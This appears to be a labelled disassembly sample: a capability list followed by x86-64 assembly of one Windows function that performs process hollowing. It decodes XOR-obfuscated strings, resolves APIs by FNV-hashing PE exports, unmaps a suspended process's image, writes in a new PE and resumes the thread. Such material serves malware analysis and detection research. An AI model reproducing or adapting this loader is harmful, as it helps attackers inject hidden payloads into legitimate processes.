Function at 0x1400014b0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Get file size
Hash data using fnv
Read file on windows
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x7e0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x760], rax
movabs r15, 0xa3807a4ba216fe58
mov qword [rbp + 0x570], r15
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x20], rax
movabs r12, 0xbe29f92a808ce107
mov qword [rbp + 0x570], r12
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x28], rax
movabs r13, 0x2a8837f40e751b50
mov qword [rbp + 0x570], r13
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x30], rax
movabs rbx, 0x4aa124c572f03922
mov qword [rbp + 0x570], rbx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x38], rax
movabs rdi, 0xcce41422f54ac41b
mov qword [rbp + 0x570], rdi
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x700], rax
movabs rsi, 0xce5c8d4ff3d09270
mov qword [rbp + 0x570], rsi
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x708], rax
movabs r14, 0x2aef589820076935
mov qword [rbp + 0x570], r14
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x710], rax
mov qword [rbp + 0x570], rbx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x718], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x20], ymm1
movabs rax, 0xbe837b50a516fe58
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x40], rax
movabs rax, 0xbd39e126b5f0ff11
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x48], rax
movabs rax, 0x768a34ff4f682e69
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x50], rax
movabs rax, 0xbfd41a81d825161
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x58], rax
movabs rax, 0x68b7f225d99be5bf
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x60], rax
movabs rax, 0x32c8977b453bbbdb
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x68], rax
movabs rax, 0xc3cd4d59bfb3eacc
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x70], rax
movabs rcx, 0x888441d9966b1c76
mov qword [rbp + 0x570], rcx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x570], rdi
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x720], rax
mov qword [rbp + 0x570], rsi
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x728], rax
mov qword [rbp + 0x570], r14
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x730], rax
mov qword [rbp + 0x570], rbx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x738], rax
movabs rax, 0x1c39346b0f795cf
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x740], rax
movabs rax, 0x5fa7e5132667d5b4
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x748], rax
movabs rax, 0xc3cd4d3cc7d6c4a9
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x570], rcx
mov rax, qword [rbp + 0x570]
mov qword [rbp + 0x758], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x60], ymm1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x700]
vzeroupper
call fcn.140002cc0
nop
lea rdx, [rbp + 0x700]
call fcn.1400013d0
nop
mov rdx, qword [rbp + 0x718]
cmp rdx, 0xf
jbe 0x14000180c
inc rdx
mov rcx, qword [rbp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001807
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001807
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034fc
movdqa xmm0, xmmword [0x1400055e0]
movdqu xmmword [rbp + 0x710], xmm0
mov byte [rbp + 0x700], 0
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x700], ymm1
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x5f0]
vzeroupper
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x22
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x5f0]
call fcn.140002b50
nop
cmp qword [rbp + 0x678], 0
je 0x14000193d
mov r8d, 1
lea rdx, [0x140008970]
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x5f8]
call fcn.140002fa0
test rax, rax
jne 0x14000193d
mov rax, qword [rbp + 0x5f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x5f0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x5f0]
call fcn.140001310
mov dword [rbp + 0xd0], 0x10000b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x580], xmm0
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm0
movups xmmword [rbp + 0x5b0], xmm0
movups xmmword [rbp + 0x5c0], xmm0
movups xmmword [rbp + 0x5d0], xmm0
mov qword [rbp + 0x5e0], rax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x580]
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001ec0
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001a2d
mov edx, 1
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
jmp 0x140001ec0
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov edx, eax
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x570]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001a16
mov rax, qword [0x140008950]
test rax, rax
jne 0x140001b39
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001b16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001b16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xd7331ee5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001b11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001af0
cmp r8d, 0xeeebc85
je 0x140001b1b
test r9d, r9d
jne 0x140001ad0
mov rax, qword [rax]
jmp 0x140001aa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x140008950], rax
mov rcx, rsi
call rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140001a16
movsxd rdi, dword [r15 + 0x3c]
add rdi, r15
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov rdx, qword [rbp + 0x128]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x98]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov rdx, qword [rbp + 0x98]
cmp rdx, qword [rdi + 0x30]
jne 0x140001bac
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, qword [rbp + 0x80]
test rax, rax
jne 0x140001bee
mov edx, 1
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
jmp 0x140001ec0
mov qword [rsp + 0x20], r12
mov r9d, dword [rdi + 0x54]
mov r8, r15
mov rdx, rsi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov ebx, r12d
cmp r12w, word [rdi + 6]
jae 0x140001c58
nop dword [rax]
mov eax, ebx
lea rdx, [rax + rax*4]
movsxd rcx, dword [r15 + 0x3c]
add rcx, r15
lea r9, [rcx + rdx*8]
mov r8d, dword [r9 + 0x11c]
add r8, r15
mov edx, dword [r9 + 0x114]
add rdx, rsi
mov qword [rsp + 0x20], r12
mov r9d, dword [r9 + 0x118]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
inc ebx
movzx eax, word [rdi + 6]
cmp ebx, eax
jb 0x140001c10
mov eax, dword [rdi + 0x28]
add rax, rsi
mov qword [rbp + 0x120], rax
mov rdx, qword [rbp + 0x128]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rdi + 0x30]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtResumeThread]
mov rax, qword [0x140008958]
test rax, rax
jne 0x140001d69
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001d46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001d46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x41720540
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001d41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001d20
cmp r8d, 0x1aa5600a
je 0x140001d4b
test r9d, r9d
jne 0x140001d00
mov rax, qword [rax]
jmp 0x140001cd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x140008958], rax
mov rcx, qword [rbp + 0x88]
call rax
mov rax, qword [0x140008960]
test rax, rax
jne 0x140001e39
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001e16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001e16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0xd26a9abe
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001e11
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140001df0
cmp r8d, 0x91986334
je 0x140001e1b
test r9d, r9d
jne 0x140001dd0
mov rax, qword [rax]
jmp 0x140001da0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x140008960], rax
mov rcx, qword [rbp + 0x80]
call rax
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x720]
call fcn.140002cc0
nop
lea rdx, [rbp + 0x720]
call fcn.1400013d0
nop
mov rdx, qword [rbp + 0x738]
cmp rdx, 0xf
jbe 0x140001ec0
inc rdx
mov rcx, qword [rbp + 0x720]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ebb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034fc
mov rcx, qword [rbp + 0x760]
xor rcx, rsp
call fcn.1400034a0
lea r11, [rsp + 0x7e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret